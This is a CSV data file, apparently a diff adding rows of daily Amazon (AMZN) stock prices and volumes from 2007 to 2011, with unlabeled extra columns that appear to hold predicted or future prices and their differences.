+2007-09-07,84.69999694824219,84.97000122070312,83.20999908447266,84.5199966430664,84.5199966430664,8231200,AMZN,88.53799,93.1500015258789,8.6300048828125,0.0
+2007-09-26,94.04000091552734,94.26000213623047,92.29000091552734,93.43000030517578,93.43000030517578,5770300,AMZN,98.93533,90.55000305175781,-2.8799972534179688,0.0
+2007-10-12,89.41999816894531,92.38999938964844,88.91999816894531,92.37000274658203,92.37000274658203,8359900,AMZN,93.92179,85.9800033569336,-6.3899993896484375,0.0
+2007-10-24,90.87000274658203,90.87999725341797,83.2699966430664,88.7300033569336,88.7300033569336,41617400,AMZN,91.49695,78.51000213623047,-10.220001220703125,0.0
+2007-10-26,89.0,90.87999725341797,87.69999694824219,90.0,90.0,8826200,AMZN,91.63969,78.5999984741211,-11.400001525878906,0.0
+2007-10-31,88.05000305175781,89.5999984741211,87.0,89.1500015258789,89.1500015258789,7044800,AMZN,88.046005,79.76000213623047,0.0,9.389999389648438
+2007-11-06,84.61000061035156,87.5,84.37000274658203,87.2699966430664,87.2699966430664,7934000,AMZN,91.09573,90.30000305175781,3.0300064086914062,0.0
+2007-11-09,82.41999816894531,82.41999816894531,78.83999633789062,78.88999938964844,78.88999938964844,11620200,AMZN,81.628204,90.91000366210938,12.020004272460938,0.0
+2007-11-14,80.4000015258789,81.1500015258789,78.1500015258789,78.51000213623047,78.51000213623047,8427400,AMZN,88.96901,94.20999908447266,15.699996948242188,0.0
+2007-11-28,87.55000305175781,90.56999969482422,86.75,90.30000305175781,90.30000305175781,11403400,AMZN,95.24084,89.37999725341797,-0.9200057983398438,0.0
+2007-11-29,89.88999938964844,91.47000122070312,88.68000030517578,89.1500015258789,89.1500015258789,6977100,AMZN,95.83001,90.58000183105469,1.4300003051757812,0.0
+2007-12-04,90.04000091552734,94.55999755859375,90.04000091552734,94.41000366210938,94.41000366210938,7337900,AMZN,95.89031,92.8499984741211,-1.5600051879882812,0.0
+2007-12-05,94.98999786376953,94.98999786376953,91.9800033569336,93.19000244140625,93.19000244140625,6608600,AMZN,99.76124,94.25,1.05999755859375,0.0
+2007-12-07,94.55999755859375,94.68000030517578,92.91000366210938,94.30999755859375,94.30999755859375,3934800,AMZN,98.72811,92.63999938964844,-1.6699981689453125,0.0
+2007-12-11,93.0999984741211,95.94000244140625,90.75,90.75,90.75,10269600,AMZN,97.613556,95.20999908447266,4.459999084472656,0.0
+2007-12-28,95.2699966430664,95.9000015258789,92.0999984741211,94.44999694824219,94.44999694824219,7587900,AMZN,100.624405,78.4800033569336,-15.969993591308594,0.0
+2008-01-10,83.9800033569336,85.97000122070312,82.97000122070312,84.26000213623047,84.26000213623047,11609900,AMZN,89.81109,74.62999725341797,-9.6300048828125,0.0
+2008-02-06,72.30000305175781,72.43000030517578,68.16999816894531,68.48999786376953,68.48999786376953,12399500,AMZN,64.99358,67.8499984741211,0.0,0.6399993896484375
+2008-02-08,73.4000015258789,74.5999984741211,72.5199966430664,73.5,73.5,11700400,AMZN,81.84061,62.430000305175774,-11.069999694824226,0.0
+2008-02-11,73.13999938964844,75.95999908447266,72.7699966430664,75.19000244140625,75.19000244140625,7763700,AMZN,83.496704,65.33999633789062,-9.850006103515625,0.0
+2008-02-13,74.98999786376953,78.8499984741211,73.2699966430664,77.7300033569336,77.7300033569336,11070300,AMZN,77.01525,62.7400016784668,0.0,14.990001678466797
+2008-02-14,77.7300033569336,77.87999725341797,75.18000030517578,75.80000305175781,75.80000305175781,7497200,AMZN,80.28233,64.08999633789062,-11.710006713867188,0.0
+2008-02-15,75.0,75.19000244140625,71.94000244140625,72.95999908447266,72.95999908447266,11120100,AMZN,77.19107,63.47000122070313,-9.489997863769524,0.0
+2008-02-22,70.54000091552734,72.20999908447266,69.86000061035156,72.08000183105469,72.08000183105469,12342700,AMZN,77.46718,68.22000122070312,-3.8600006103515625,0.0
+2008-03-12,66.7699966430664,68.2300033569336,65.63999938964844,66.51000213623047,66.51000213623047,7748800,AMZN,73.29493,74.94000244140625,8.430000305175781,0.0
+2008-03-17,65.72000122070312,67.79000091552734,64.91999816894531,66.52999877929688,66.52999877929688,9709100,AMZN,68.91025,77.30000305175781,10.770004272460938,0.0
+2008-03-20,70.16999816894531,73.48999786376953,69.37999725341797,73.19000244140625,73.19000244140625,11410700,AMZN,74.916275,71.98999786376953,-1.2000045776367188,0.0
+2008-03-24,73.81999969482422,76.93000030517578,72.75,75.94999694824219,75.94999694824219,9395400,AMZN,77.76701,72.61000061035156,-3.339996337890625,0.0
+2008-03-28,71.0,72.20999908447266,69.26000213623047,69.76000213623047,69.76000213623047,5279100,AMZN,74.53652,80.0999984741211,10.339996337890625,0.0
+2008-04-07,77.36000061035156,78.43000030517578,76.0,76.9000015258789,76.9000015258789,6672400,AMZN,82.52059,81.97000122070312,5.069999694824219,0.0
+2008-04-17,74.18000030517578,75.0199966430664,73.61000061035156,74.04000091552734,74.04000091552734,6220000,AMZN,81.761024,72.79000091552734,-1.25,0.0
+2008-04-18,76.4800033569336,82.0,76.31999969482422,80.0999984741211,80.0999984741211,16791300,AMZN,84.61878,72.41000366210938,-7.689994812011719,0.0
+2008-04-22,79.94000244140625,79.94000244140625,77.54000091552734,79.5999984741211,79.5999984741211,7245000,AMZN,83.01363,74.55999755859375,-5.040000915527344,0.0
+2008-04-24,77.70999908447266,80.52999877929688,76.93000030517578,77.69000244140625,77.69000244140625,21073500,AMZN,77.94946,76.12000274658203,-1.5699996948242188,0.0
+2008-05-02,80.30000305175781,81.19999694824219,76.4000015258789,77.30999755859375,77.30999755859375,8154900,AMZN,83.80155,78.3499984741211,1.0400009155273438,0.0
+2008-05-06,75.51000213623047,76.7699966430664,75.05000305175781,75.70999908447266,75.70999908447266,6545700,AMZN,80.92544,80.08000183105469,4.370002746582031,0.0
+2008-05-15,73.88999938964844,76.31999969482422,73.55000305175781,76.12000274658203,76.12000274658203,6917700,AMZN,80.689865,80.62999725341797,4.5099945068359375,0.0
+2008-06-12,78.0199966430664,79.05000305175781,75.01000213623047,76.1500015258789,76.1500015258789,6204400,AMZN,84.038635,72.0,-4.150001525878906,0.0
+2008-06-26,79.0999984741211,79.88999938964844,76.0,76.30000305175781,76.30000305175781,11310100,AMZN,83.23477,69.12000274658203,-7.180000305175781,0.0
+2008-07-10,70.69999694824219,71.7699966430664,67.98999786376953,70.62999725341797,70.62999725341797,9941600,AMZN,73.605545,76.33999633789062,5.709999084472656,0.0
+2008-07-22,67.08999633789062,69.13999938964844,65.87999725341797,67.97000122070312,67.97000122070312,8795800,AMZN,69.4168,87.25,19.279998779296875,0.0
+2008-08-06,78.55000305175781,78.62999725341797,76.7300033569336,78.08999633789062,78.08999633789062,6406100,AMZN,87.21836,81.7300033569336,3.6400070190429688,0.0
+2008-08-18,86.08999633789062,86.27999877929688,83.04000091552734,83.11000061035156,83.11000061035156,6547400,AMZN,89.406364,79.04000091552734,-4.069999694824219,0.0
+2008-08-27,81.44000244140625,82.73999786376953,81.0,81.7300033569336,81.7300033569336,5627300,AMZN,86.4645,76.5,-5.230003356933594,0.0
+2008-09-04,80.5999984741211,80.80999755859375,78.0199966430664,78.02999877929688,78.02999877929688,8316500,AMZN,83.54157,72.08000183105469,-5.9499969482421875,0.0
+2008-09-12,78.80999755859375,79.5999984741211,76.62000274658203,78.30000305175781,78.30000305175781,6480100,AMZN,84.159035,67.0,-11.300003051757812,0.0
+2008-09-15,76.86000061035156,79.87999725341797,76.30000305175781,77.33999633789062,77.33999633789062,8980800,AMZN,84.36837,65.2300033569336,-12.109992980957031,0.0
+2008-09-24,72.30000305175781,73.6500015258789,68.94000244140625,69.95999908447266,69.95999908447266,9372400,AMZN,67.80311,48.720001220703125,0.0,21.23999786376953
+2008-10-07,65.79000091552734,66.43000030517578,58.5,58.52000045776367,58.52000045776367,12756000,AMZN,64.32391,56.04000091552735,-2.479999542236321,0.0
+2008-10-17,48.83000183105469,62.33000183105469,48.40999984741211,50.650001525878906,50.650001525878906,12946400,AMZN,57.553627,49.209999084472656,-1.44000244140625,0.0
+2008-10-27,49.0,52.59000015258789,48.43000030517578,49.58000183105469,49.58000183105469,11759200,AMZN,56.85502,39.689998626708984,-9.890003204345703,0.0
+2008-10-29,55.529998779296875,59.790000915527344,54.52000045776367,56.88999938964844,56.88999938964844,15196300,AMZN,56.623783,35.84000015258789,0.0,21.049999237060547
+2008-11-03,56.349998474121094,57.25,55.02000045776367,55.77000045776367,55.77000045776367,7170100,AMZN,56.28213,42.5,-13.270000457763672,0.0
+2008-11-06,49.79999923706055,51.040000915527344,46.29999923706055,47.220001220703125,47.220001220703125,15487800,AMZN,50.18852,42.70000076293945,-4.520000457763672,0.0
+2008-11-13,41.400001525878906,45.0,38.47999954223633,44.93000030517578,44.93000030517578,16935300,AMZN,46.739468,48.2599983215332,3.329998016357422,0.0
+2008-11-14,43.61000061035156,44.5,41.5,41.75,41.75,11949700,AMZN,51.799244,51.40999984741211,9.65999984741211,0.0
+2008-11-17,39.90999984741211,41.2599983215332,39.06999969482422,39.689998626708984,39.689998626708984,10711800,AMZN,48.423252,51.25,11.560001373291016,0.0
+2008-11-18,39.72999954223633,40.65999984741211,36.08000183105469,38.439998626708984,38.439998626708984,15049200,AMZN,42.00982,49.70000076293945,11.260002136230469,0.0
+2008-11-19,37.970001220703125,39.0,35.75,35.84000015258789,35.84000015258789,12521100,AMZN,40.30336,48.25,12.40999984741211,0.0
+2008-11-20,35.290000915527344,39.720001220703125,34.68000030517578,35.029998779296875,35.029998779296875,18423900,AMZN,41.078186,51.25,16.220001220703125,0.0
+2008-11-24,38.790000915527344,43.439998626708984,38.70000076293945,42.5,42.5,14549700,AMZN,47.676147,52.630001068115234,10.130001068115234,0.0
+2008-12-05,45.88999938964844,48.4900016784668,43.29999923706055,48.2599983215332,48.2599983215332,14608800,AMZN,51.72392,49.400001525878906,1.1400032043457031,0.0
+2008-12-11,49.33000183105469,50.4900016784668,48.16999816894531,48.25,48.25,7583600,AMZN,50.101097,54.060001373291016,5.810001373291016,0.0
+2008-12-15,50.650001525878906,50.95000076293945,48.150001525878906,48.849998474121094,48.849998474121094,7285400,AMZN,56.16204,56.20000076293945,7.350002288818359,0.0
+2008-12-22,51.599998474121094,52.150001525878906,48.470001220703125,49.84000015258789,49.84000015258789,8925000,AMZN,54.65474,48.4900016784668,-1.3499984741210938,0.0
+2008-12-30,49.5099983215332,51.209999084472656,48.7400016784668,50.7599983215332,50.7599983215332,6601300,AMZN,55.933487,49.939998626708984,-0.8199996948242188,0.0
+2009-01-02,51.349998474121094,54.529998779296875,51.06999969482422,54.36000061035156,54.36000061035156,7296400,AMZN,62.71724,49.630001068115234,-4.729999542236328,0.0
+2009-01-14,50.099998474121094,50.099998474121094,48.13999938964844,48.4900016784668,48.4900016784668,10442600,AMZN,54.581097,63.180000305175774,14.689998626708977,0.0
+2009-01-20,50.75,51.70000076293945,48.27000045776367,48.439998626708984,48.439998626708984,6767200,AMZN,56.342308,63.310001373291016,14.870002746582031,0.0
+2009-01-27,49.29999923706055,50.41999816894531,47.720001220703125,48.439998626708984,48.439998626708984,8738200,AMZN,53.804165,62.34999847412109,13.909999847412102,0.0
+2009-01-29,49.959999084472656,51.849998474121094,49.13999938964844,50.0,50.0,17966800,AMZN,55.071556,63.860000610351555,13.860000610351555,0.0
+2009-02-10,66.1500015258789,67.2300033569336,63.06999969482422,63.310001373291016,63.310001373291016,10700600,AMZN,67.32585,64.80999755859375,1.4999961853027344,0.0
+2009-03-06,65.19999694824219,65.5,59.81999969482422,61.689998626708984,61.689998626708984,15093800,AMZN,66.399,70.5199966430664,8.829998016357422,0.0
+2009-03-09,62.20000076293945,64.02999877929688,60.150001525878906,60.4900016784668,60.4900016784668,13561400,AMZN,63.5302,71.44000244140625,10.950000762939453,0.0
+2009-03-10,62.4900016784668,65.9000015258789,61.779998779296875,65.70999908447266,65.70999908447266,15435700,AMZN,67.483025,73.44000244140625,7.730003356933594,0.0
+2009-03-17,67.37000274658203,71.70999908447266,67.0,71.3499984741211,71.3499984741211,11902800,AMZN,70.66047,75.51000213623047,0.0,-4.160003662109375
+2009-03-19,71.4000015258789,71.91000366210938,69.23999786376953,70.0999984741211,70.0999984741211,8819100,AMZN,75.62322,79.7699966430664,9.669998168945312,0.0
+2009-03-25,73.08999633789062,73.94999694824219,69.83999633789062,72.4000015258789,72.4000015258789,7895600,AMZN,77.13715,77.25,4.849998474121094,0.0
+2009-03-26,73.47000122070312,74.9800033569336,72.63999938964844,73.69000244140625,73.69000244140625,6657700,AMZN,77.21414,78.05000305175781,4.3600006103515625,0.0
+2009-03-31,72.61000061035156,74.5,72.12000274658203,73.44000244140625,73.44000244140625,8918200,AMZN,80.795616,79.19999694824219,5.7599945068359375,0.0
+2009-04-14,78.0,79.45999908447266,76.94000244140625,77.22000122070312,77.22000122070312,6160400,AMZN,83.60438,81.9000015258789,4.680000305175781,0.0
+2009-05-04,80.26000213623047,81.3499984741211,78.8499984741211,79.7699966430664,79.7699966430664,7019300,AMZN,86.20796,78.38999938964844,-1.3799972534179688,0.0
+2009-05-06,82.87999725341797,83.5999984741211,79.66000366210938,81.98999786376953,81.98999786376953,8604000,AMZN,88.16709,77.6500015258789,-4.339996337890625,0.0
+2009-05-11,76.80000305175781,79.8499984741211,76.01000213623047,78.61000061035156,78.61000061035156,6872300,AMZN,82.45355,84.93000030517578,6.319999694824219,0.0
+2009-05-18,73.95999908447266,75.95999908447266,73.0999984741211,75.94999694824219,75.94999694824219,6829100,AMZN,82.98991,87.08000183105469,11.1300048828125,0.0
+2009-05-19,75.43000030517578,78.95999908447266,75.12000274658203,77.87000274658203,77.87000274658203,8028900,AMZN,84.54274,86.58999633789062,8.719993591308594,0.0
+2009-05-21,76.75,77.97000122070312,75.4000015258789,75.95999908447266,75.95999908447266,5640500,AMZN,80.98133,84.08000183105469,8.120002746582031,0.0
+2009-05-27,78.51000213623047,79.5,76.75,77.0999984741211,77.0999984741211,5567100,AMZN,85.51606,82.6500015258789,5.5500030517578125,0.0
+2009-06-08,86.75,87.18000030517578,85.11000061035156,86.36000061035156,86.36000061035156,5602100,AMZN,90.196266,83.02999877929688,-3.3300018310546875,0.0
+2009-06-17,82.5,84.30000305175781,80.63999938964844,82.6500015258789,82.6500015258789,7785100,AMZN,91.039314,78.0999984741211,-4.5500030517578125,0.0
+2009-06-19,82.1500015258789,83.45999908447266,81.5,82.95999908447266,82.95999908447266,5438200,AMZN,89.515594,81.47000122070312,-1.4899978637695312,0.0
+2009-06-30,83.62000274658203,84.91999816894531,82.47000122070312,83.66000366210938,83.66000366210938,7984800,AMZN,86.52652,88.79000091552734,5.129997253417969,0.0
+2009-07-02,81.11000061035156,81.37000274658203,78.51000213623047,79.31999969482422,79.31999969482422,7218600,AMZN,82.80291,86.48999786376953,7.1699981689453125,0.0
+2009-07-06,78.44999694824219,78.88999938964844,76.54000091552734,78.0999984741211,78.0999984741211,7368800,AMZN,80.84522,84.23999786376953,6.1399993896484375,0.0
+2009-07-13,78.06999969482422,81.6500015258789,78.01000213623047,81.47000122070312,81.47000122070312,8050200,AMZN,85.264336,87.44000244140625,5.970001220703125,0.0
+2009-07-16,84.41999816894531,86.23999786376953,83.72000122070312,86.11000061035156,86.11000061035156,5361900,AMZN,89.98604,84.47000122070312,-1.6399993896484375,0.0
+2009-07-17,85.80000305175781,86.5,85.19999694824219,85.8499984741211,85.8499984741211,5051600,AMZN,89.45699,85.31999969482422,-0.529998779296875,0.0
+2009-07-20,86.2699966430664,88.87999725341797,86.26000213623047,88.2300033569336,88.2300033569336,6056600,AMZN,91.23123,84.44000244140625,-3.7900009155273438,0.0
+2009-07-21,88.5199966430664,89.01000213623047,87.4000015258789,89.01000213623047,89.01000213623047,7728600,AMZN,93.20822,83.55999755859375,-5.450004577636719,0.0
+2009-07-24,87.5999984741211,88.9000015258789,85.5,86.48999786376953,86.48999786376953,19204600,AMZN,89.97473,83.58000183105469,-2.9099960327148438,0.0
+2009-08-17,81.16000366210938,81.77999877929688,80.25,81.05999755859375,81.05999755859375,6888600,AMZN,85.17562,80.9000015258789,-0.15999603271484375,0.0
+2009-08-18,81.41000366210938,82.69000244140625,80.79000091552734,82.12000274658203,82.12000274658203,5884400,AMZN,86.932,82.23999786376953,0.1199951171875,0.0
+2009-08-31,81.93000030517578,81.94999694824219,80.3499984741211,81.19000244140625,81.19000244140625,5263800,AMZN,86.98981,93.75,12.55999755859375,0.0
+2009-09-14,83.80999755859375,84.56999969482422,83.45999908447266,83.86000061035156,83.86000061035156,3572000,AMZN,88.01631,88.66999816894531,4.80999755859375,0.0
+2009-09-16,85.91000366210938,90.9800033569336,85.9000015258789,90.69999694824219,90.69999694824219,13114300,AMZN,92.68862,93.97000122070312,3.2700042724609375,0.0
+2009-09-17,90.75,91.19000244140625,89.0,90.44000244140625,90.44000244140625,7872700,AMZN,98.20977,95.22000122070312,4.779998779296875,0.0
+2009-09-25,91.44000244140625,92.25,89.75,90.5199966430664,90.5199966430664,4256800,AMZN,94.57203,95.31999969482422,4.8000030517578125,0.0
+2009-10-07,91.5,94.4800033569336,91.1500015258789,93.97000122070312,93.97000122070312,7445100,AMZN,101.6472,121.63999938964844,27.669998168945312,0.0
+2009-10-09,95.0,95.94999694824219,94.26000213623047,95.70999908447266,95.70999908447266,4694000,AMZN,101.08867,118.80999755859375,23.099998474121094,0.0
+2009-10-19,95.3499984741211,96.27999877929688,94.25,94.68000030517578,94.68000030517578,6017400,AMZN,99.07857,126.66999816894531,31.98999786376953,0.0
+2009-10-21,95.2699966430664,96.62999725341797,92.91000366210938,93.41999816894531,93.41999816894531,7761200,AMZN,100.70294,129.91000366210938,36.49000549316406,0.0
+2009-10-22,93.66000366210938,94.0999984741211,91.69999694824219,93.44999694824219,93.44999694824219,16518500,AMZN,96.87234,130.52999877929688,37.08000183105469,0.0
+2009-10-28,121.56999969482422,125.12000274658203,120.76000213623047,121.63999938964844,121.63999938964844,16887700,AMZN,113.06263,131.2899932861328,0.0,-9.649993896484375
+2009-11-03,117.66999816894531,118.87999725341797,116.62999725341797,118.37000274658203,118.37000274658203,9478500,AMZN,119.23967,132.94000244140625,14.569999694824219,0.0
+2009-11-27,130.3000030517578,133.0,129.8800048828125,131.74000549316406,131.74000549316406,4422600,AMZN,135.82431,128.47999572753906,-3.260009765625,0.0
+2009-12-07,138.0,139.0,133.83999633789062,134.2100067138672,134.2100067138672,7837000,AMZN,135.89635,139.41000366210938,5.1999969482421875,0.0
+2009-12-08,134.3000030517578,136.0800018310547,132.8699951171875,134.11000061035156,134.11000061035156,8002800,AMZN,135.39929,136.49000549316406,2.3800048828125,0.0
+2009-12-09,134.60000610351562,134.7100067138672,129.82000732421875,131.30999755859375,131.30999755859375,12632900,AMZN,134.86852,134.52000427246094,3.2100067138671875,0.0
+2009-12-18,127.91000366210938,128.7899932861328,125.6500015258789,128.47999572753906,128.47999572753906,9605400,AMZN,132.65144,127.3499984741211,-1.1299972534179688,0.0
+2009-12-21,130.47999572753906,133.1999969482422,130.19000244140625,132.7899932861328,132.7899932861328,9473600,AMZN,137.08957,129.11000061035156,-3.67999267578125,0.0
+2009-12-24,139.1999969482422,139.6999969482422,137.5399932861328,138.47000122070312,138.47000122070312,5128800,AMZN,141.88356,127.61000061035158,-10.860000610351548,0.0
+2009-12-28,139.75,141.97999572753906,138.52999877929688,139.30999755859375,139.30999755859375,8763900,AMZN,141.10075,125.77999877929688,-13.529998779296875,0.0
+2009-12-30,138.39999389648438,138.39999389648438,135.27999877929688,136.49000549316406,136.49000549316406,6913200,AMZN,139.06645,121.43000030517578,-15.060005187988281,0.0
+2010-01-05,133.42999267578125,135.47999572753906,131.80999755859375,134.69000244140625,134.69000244140625,8851900,AMZN,139.88982,122.74999999999999,-11.940002441406264,0.0
+2010-01-07,132.00999450683594,132.32000732421875,128.8000030517578,130.0,130.0,11030200,AMZN,136.55424,125.41000366210938,-4.589996337890625,0.0
+2010-01-12,128.99000549316406,129.82000732421875,126.55000305175781,127.3499984741211,127.3499984741211,9096300,AMZN,133.60922,119.09999847412108,-8.250000000000014,0.0
+2010-01-14,129.13999938964844,130.3800048828125,126.4000015258789,127.3499984741211,127.3499984741211,9774900,AMZN,133.4284,117.38999938964844,-9.959999084472656,0.0
+2010-01-20,127.12999725341797,129.1999969482422,125.08000183105469,125.77999877929688,125.77999877929688,9074700,AMZN,129.9419,117.36000061035156,-8.419998168945312,0.0
+2010-01-28,124.43000030517578,127.19999694824219,122.80000305175781,126.02999877929688,126.02999877929688,27293100,AMZN,128.8624,117.51999664306639,-8.510002136230483,0.0
+2010-02-09,118.19999694824219,119.08999633789062,117.0,118.02999877929688,118.02999877929688,9223000,AMZN,120.91956,125.88999938964844,7.8600006103515625,0.0
+2010-02-23,118.01000213623047,119.25,116.51000213623047,117.23999786376953,117.23999786376953,7068200,AMZN,123.27208,131.7899932861328,14.549995422363281,0.0
+2010-02-24,117.95999908447266,119.80000305175781,117.1500015258789,119.72000122070312,119.72000122070312,7389900,AMZN,124.33469,131.33999633789062,11.6199951171875,0.0
+2010-03-01,118.69999694824219,124.66000366210938,117.52999877929688,124.54000091552734,124.54000091552734,13296500,AMZN,128.38869,130.47000122070312,5.930000305175781,0.0
+2010-03-10,129.11000061035156,131.1699981689453,128.47999572753906,130.50999450683594,130.50999450683594,5625700,AMZN,134.34087,135.77000427246094,5.260009765625,0.0
+2010-03-23,130.88999938964844,130.94000244140625,128.07000732421875,129.25999450683594,129.25999450683594,4213100,AMZN,136.00035,144.27999877929688,15.020004272460938,0.0
+2010-04-07,135.9600067138672,136.0800018310547,133.86000061035156,134.8699951171875,134.8699951171875,5945400,AMZN,142.63329,139.35000610351562,4.480010986328125,0.0
+2010-04-14,140.33999633789062,144.5,139.1999969482422,144.27999877929688,144.27999877929688,7900300,AMZN,143.9947,130.92999267578125,0.0,13.350006103515625
+2010-04-20,143.8300018310547,144.63999938964844,142.10000610351562,144.1999969482422,144.1999969482422,4311700,AMZN,147.01631,130.4600067138672,-13.739990234375,0.0
+2010-04-27,145.5500030517578,146.44000244140625,141.11000061035156,142.02000427246094,142.02000427246094,8639000,AMZN,148.04718,126.27999877929686,-15.740005493164077,0.0
+2010-04-28,142.58999633789062,142.75,138.69000244140625,139.35000610351562,139.35000610351562,9235300,AMZN,143.48602,124.58999633789061,-14.760009765625014,0.0
+2010-05-04,135.6199951171875,135.80999755859375,128.3800048828125,129.8300018310547,129.8300018310547,12667800,AMZN,135.10356,124.86000061035155,-4.970001220703139,0.0
+2010-05-14,130.36000061035156,131.0,126.76000213623047,128.52999877929688,128.52999877929688,5277800,AMZN,130.9479,122.01000213623048,-6.519996643066392,0.0
+2010-05-28,126.06999969482422,127.5999984741211,124.01000213623047,125.45999908447266,125.45999908447266,3954800,AMZN,131.36292,122.55000305175781,-2.9099960327148438,0.0
+2010-06-02,124.0199966430664,126.43000030517578,121.6500015258789,126.30999755859375,126.30999755859375,4764700,AMZN,128.18839,121.44999694824219,-4.8600006103515625,0.0
+2010-06-14,124.23999786376953,125.69999694824219,123.5,123.83000183105469,123.83000183105469,3923000,AMZN,130.04893,110.05999755859375,-13.770004272460938,0.0
+2010-06-15,123.19999694824219,126.91999816894531,122.5,126.83999633789062,126.83999633789062,4541000,AMZN,129.22566,113.4300003051758,-13.40999603271483,0.0
+2010-06-25,118.13999938964844,121.76000213623047,117.62999725341797,121.0,121.0,5769700,AMZN,126.42946,119.94000244140626,-1.0599975585937358,0.0
+2010-07-06,110.6500015258789,112.52999877929688,109.0,110.05999755859375,110.05999755859375,5219300,AMZN,117.69251,117.12999725341797,7.069999694824219,0.0
+2010-07-07,109.83999633789062,113.62999725341797,109.80999755859375,113.43000030517578,113.43000030517578,4941000,AMZN,116.17813,117.12999725341797,3.6999969482421875,0.0
+2010-07-12,117.80999755859375,119.69999694824219,117.31999969482422,119.51000213623047,119.51000213623047,4783600,AMZN,122.63473,120.06999969482422,0.55999755859375,0.0
+2010-07-13,120.69000244140625,124.87999725341797,120.30000305175781,123.6500015258789,123.6500015258789,7091100,AMZN,125.097946,122.41999816894533,-1.2300033569335795,0.0
+2010-07-16,121.27999877929688,121.91999816894531,118.01000213623047,118.48999786376953,118.48999786376953,6227900,AMZN,120.21012,128.32000732421875,9.830009460449219,0.0
+2010-07-19,118.37999725341797,120.73999786376953,117.0,119.94000244140625,119.94000244140625,5030900,AMZN,122.42153,128.8300018310547,8.889999389648438,0.0
+2010-07-20,120.61000061035156,120.70999908447266,117.51000213623047,120.0999984741211,120.0999984741211,6785000,AMZN,125.99473,130.0,9.900001525878906,0.0
+2010-07-29,117.98999786376953,118.87000274658203,115.5199966430664,116.86000061035156,116.86000061035156,6175800,AMZN,115.25416,127.56999969482423,0.0,-10.70999908447267
+2010-08-06,126.72000122070312,128.39999389648438,125.9000015258789,128.32000732421875,128.32000732421875,5065200,AMZN,129.81505,126.63999938964844,-1.6800079345703125,0.0
+2010-08-23,127.86000061035156,129.22000122070312,126.5,126.5999984741211,126.5999984741211,3861300,AMZN,133.14206,145.75,19.150001525878906,0.0
+2010-08-24,125.41000366210938,125.44000244140625,123.18000030517578,124.52999877929688,124.52999877929688,5369700,AMZN,130.85469,145.4499969482422,20.919998168945312,0.0
+2010-09-02,132.1699981689453,135.2100067138672,132.0500030517578,135.2100067138672,135.2100067138672,5407400,AMZN,143.84497,160.72999572753906,25.519989013671875,0.0
+2010-09-08,137.92999267578125,139.6999969482422,136.4499969482422,139.13999938964844,139.13999938964844,5828500,AMZN,137.47653,158.99000549316406,0.0,-19.850006103515625
+2010-09-14,144.5,146.6999969482422,143.8300018310547,145.75,145.75,4319400,AMZN,150.19084,160.8699951171875,15.1199951171875,0.0
+2010-09-15,144.8800048828125,145.6199951171875,143.55999755859375,145.4499969482422,145.4499969482422,4903600,AMZN,148.23137,155.39999389648438,9.949996948242188,0.0
+2010-09-16,145.39999389648438,148.22999572753906,145.16000366210938,148.1300048828125,148.1300048828125,5827000,AMZN,151.05922,156.27000427246094,8.139999389648438,0.0
+2010-09-24,155.42999267578125,160.88999938964844,155.4199981689453,160.72999572753906,160.72999572753906,10590600,AMZN,164.91443,164.63999938964844,3.910003662109375,0.0
+2010-09-28,159.83999633789062,160.8800048828125,154.88999938964844,159.6999969482422,159.6999969482422,8494200,AMZN,162.54561,158.6699981689453,-1.029998779296875,0.0
+2010-09-29,159.02999877929688,161.77999877929688,157.75,158.99000549316406,158.99000549316406,7287500,AMZN,160.61853,158.6699981689453,-0.32000732421875,0.0
+2010-10-07,156.50999450683594,157.39999389648438,153.38999938964844,156.27000427246094,156.27000427246094,4622000,AMZN,160.1971,166.83999633789062,10.569992065429688,0.0
+2010-10-11,154.88999938964844,156.6300048828125,152.33999633789062,153.02999877929688,153.02999877929688,4486400,AMZN,159.70805,162.5800018310547,9.550003051757812,0.0
+2010-10-19,160.67999267578125,162.8000030517578,157.0,158.6699981689453,158.6699981689453,7525000,AMZN,163.51062,170.27000427246094,11.600006103515625,0.0
+2010-10-20,158.77999877929688,159.8699951171875,156.57000732421875,158.6699981689453,158.6699981689453,5790400,AMZN,157.58481,173.3300018310547,0.0,-14.660003662109375
+2010-10-22,162.4499969482422,170.1699981689453,162.27000427246094,169.1300048828125,169.1300048828125,16318400,AMZN,173.80939,165.67999267578125,-3.45001220703125,0.0
+2010-10-29,165.8000030517578,168.5,164.80999755859375,165.22999572753906,165.22999572753906,4998500,AMZN,170.56766,164.82000732421875,-0.4099884033203125,0.0
+2010-11-16,158.74000549316406,160.91000366210938,156.77000427246094,157.77999877929688,157.77999877929688,6571400,AMZN,162.63284,176.2899932861328,18.509994506835938,0.0
+2010-12-06,175.52000427246094,178.42999267578125,174.60000610351562,178.0500030517578,178.0500030517578,5654200,AMZN,181.87589,181.08999633789062,3.0399932861328125,0.0
+2010-12-09,177.77000427246094,178.11000061035156,173.8000030517578,174.85000610351562,174.85000610351562,4555500,AMZN,180.67674,180.0,5.149993896484375,0.0
+2010-12-14,174.27999877929688,175.75999450683594,173.08999633789062,173.94000244140625,173.94000244140625,3685300,AMZN,182.15247,187.4199981689453,13.479995727539062,0.0
+2010-12-27,181.89999389648438,183.13999938964844,180.4499969482422,182.13999938964844,182.13999938964844,2249400,AMZN,182.96564,191.25,9.110000610351562,0.0
+2011-01-04,186.14999389648438,187.6999969482422,183.77999877929688,185.00999450683594,185.00999450683594,5031800,AMZN,193.75676,175.38999938964844,-9.6199951171875,0.0
+2011-01-05,184.10000610351562,187.4499969482422,184.07000732421875,187.4199981689453,187.4199981689453,3418800,AMZN,194.81798,184.4499969482422,-2.970001220703125,0.0
+2011-01-11,185.4199981689453,186.0,183.2100067138672,184.33999633789062,184.33999633789062,2814200,AMZN,190.3632,173.52999877929688,-10.80999755859375,0.0
+2011-02-10,184.38999938964844,187.24000549316406,183.60000610351562,186.2100067138672,186.2100067138672,5331400,AMZN,189.67065,171.6699981689453,-14.540008544921875,0.0
+2011-02-17,185.77000427246094,189.08999633789062,185.30999755859375,187.75999450683594,187.75999450683594,3425500,AMZN,191.04547,168.07000732421875,-19.689987182617188,0.0
+2011-02-22,183.67999267578125,184.72000122070312,179.32000732421875,180.4199981689453,180.4199981689453,5637100,AMZN,188.29874,165.0800018310547,-15.339996337890625,0.0
+2011-02-24,176.86000061035156,179.75,174.55999755859375,177.75,177.75,4656500,AMZN,185.14157,160.97000122070312,-16.779998779296875,0.0
+2011-02-25,178.9499969482422,180.75,177.10000610351562,177.24000549316406,177.24000549316406,4191400,AMZN,190.02121,161.82000732421875,-15.419998168945312,0.0
+2011-03-02,169.08999633789062,173.3000030517578,168.35000610351562,172.02000427246094,172.02000427246094,5185700,AMZN,176.97363,165.32000732421875,-6.6999969482421875,0.0
